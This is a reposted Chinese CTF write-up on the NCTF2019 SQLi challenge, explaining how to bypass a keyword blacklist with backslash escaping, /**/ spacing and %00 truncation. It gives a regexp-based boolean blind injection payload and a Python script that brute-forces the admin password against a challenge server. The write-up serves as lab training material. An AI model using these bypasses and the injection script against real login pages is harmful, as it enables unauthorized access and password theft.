[NCTF2019]SQLi:regexp正则注入
Posted hunpi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NCTF2019]SQLi:regexp正则注入相关的知识,希望对你有一定的参考价值。
题目
登陆框。
给出后台查询语句sqlquery : select * from users where username='' and passwd=''
。
信息搜集:手测黑名单
闭合黑名单:'
可用闭合:转义字符\\。
对于语句username='' and passwd='',可以在username使用\\闭合,
从而使username='\\' and passwd='',即username=' and passwd='注入代码+注释符'。
逻辑运算符黑名单:Or、And、Xor
可用逻辑运算符:||、&&、^。
注释符黑名单:#、--+、单引号闭合
可用注释符:;%00
运算符黑名单:=
空格黑名单:space、+
可用替换符:/**/、%09等
函数黑名单:()
可用替换符:(xxx)
逗号黑名单:,
难题:联合查询和报错查询都不能用了,只能考虑盲注。
关键词黑名单:查询Union、Select。库In、表Table
难题:这他么还能做吗?
用户名黑名单:Admin
不能绕过黑名单的盲注语句,或者说不能使用if子句
。
and if(substr((select id from flag ),1,1)=1,sleep(2),1)
and if(substr((select database()),1,1)=‘s’),sleep(3),1)%23
and if(length(database())>8,sleep(3),1)
regexp正则注入
like语句是对where子句的检索条件,可以使用like
子句代替等号=
。
mysql中也支持Regexp操作符,进行正则表达式匹配。
利用条件:要知道列名。(只能查询select语句中给定的表)
劣势:不能跨表查询,只是在where子句中使用逻辑运算符。
优势:对于bool盲注,只需要引号
和^
两个字符。
(1)模糊注入
like
和regexp
模糊匹配用于where子句。
在SQL注入中一般都是进行字符拼接,
常见语句为select xx from xx where id='$id'
。
则模糊注入:id=' || id like "2"%23
,以及id=' || id regexp "2"%23
。
完整语句为:select xx from xx where id='' || id like "2"%23
。
regexp实例,字符串注意支持使用单/双引号,带反引号会被当做列名。大概有10种模式。
A.三种数据模式:开头、结尾、包含:
以st开头的所有数据:username regexp '^st'。结尾"ok$".。包含"ok"。
(2)布尔盲注的regexp注入
A.首先构造真条件,由于username为False,所以使用运算符||
。
B.根据页面输出语句,知道username和passwd列,也可以猜列名flag。
C.如何遍历列值,使用开头^
逐位进行扩展。不知道首位字母时,最懒最累的方式就是遍历出a-z开头的所有列值,或者猜首位是flag或cicsn。
(3)盲注脚本:
SQL注入不仅仅是SQL注入,robots.txt有提示。
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\\'|=| |in|<|>|-|\\.|\\(\\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
使用任意用户和爆破出的密码登录,拿到flag。
本题基础Payload
username=\\&passwd=||/**/passwd/**/regexp/**/"^a";%00
# -*- coding:utf-8 -*-
import requests
import string
url = "http://68329ef5-f7a1-4721-854c-9e056f6d59df.node3.buuoj.cn/"
bool_str = "welcome"
passwd = ""
mystr = string.ascii_lowercase + string.digits + '_' + '{' + '}' + '-'
for i in range(1, 50): # 单列的字符个数。针对passwd只有一行的情况
for letter in mystr:
# 找出1个字符。range()函数左闭右开,可打印字符是[32,126]。
# 注意这里是正则,所以正则的10个模式都不能用。使用小写字母、数字、_、-、{}
payload = "||/**/passwd/**/regexp/**/\\"^f{}\\";{}".format(passwd + letter, chr(0))
data = {"username": "\\\\", "passwd": payload}
res = requests.post(url, data=data)
if (bool_str in res.text):
passwd += letter
print("第" + str(i) + "字符:"+passwd)
break
爆破枚举passwd:you_will_never_know7788990
(4)使用%00进行注释
该符号不是MySQL的注释符,但php具有%00截断的漏洞,有些函数会把%00
当做结束符,也就起到了注释掉后面代码的作用。
(比如文件上传中的00截断漏洞)
在Python脚本中的使用:Python访问浏览器,会进行一次URL编码,
因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00
就需要进行格式处理。
问题变成了:如何在Python输入不可打印字符?
可以使用parse.unquote(’%00’),或者chr(0),二者都需要使用.format()进行格式化输出。完整格式.format(parse.unquote('%00'))
或.format(chr(0))
。
总结
收获
(1)模糊匹配注入:regexp注入,like注入。
(2)%00截断的注释效果。
(3)强大的黑名单,以及把写的fuzz字典用起来的决心。
参考
《mysql闭合符号被过滤_当注入函数被过滤时的Mysql注入小技巧》,2021-01
https://blog.csdn.net/weixin_42184548/article/details/113271095
《被过滤了引号的SQL注入如何破?》,2020-03
https://www.jianshu.com/p/51dbabf45a95
《【附件】python脚本提交 url编码的%00问题 以及 ascii(0)和 chr(0)》
https://blog.csdn.net/Zero_Adam/article/details/114848065
《刷题记录-[NCTF2019]SQLi》,2020-05
https://blog.csdn.net/weixin_43610673/article/details/106029042
《[NCTF2019]SQLi》,2020-09
https://www.cnblogs.com/h3ng/p/13736621.html
以上是关于[NCTF2019]SQLi:regexp正则注入的主要内容,如果未能解决你的问题,请参考以下文章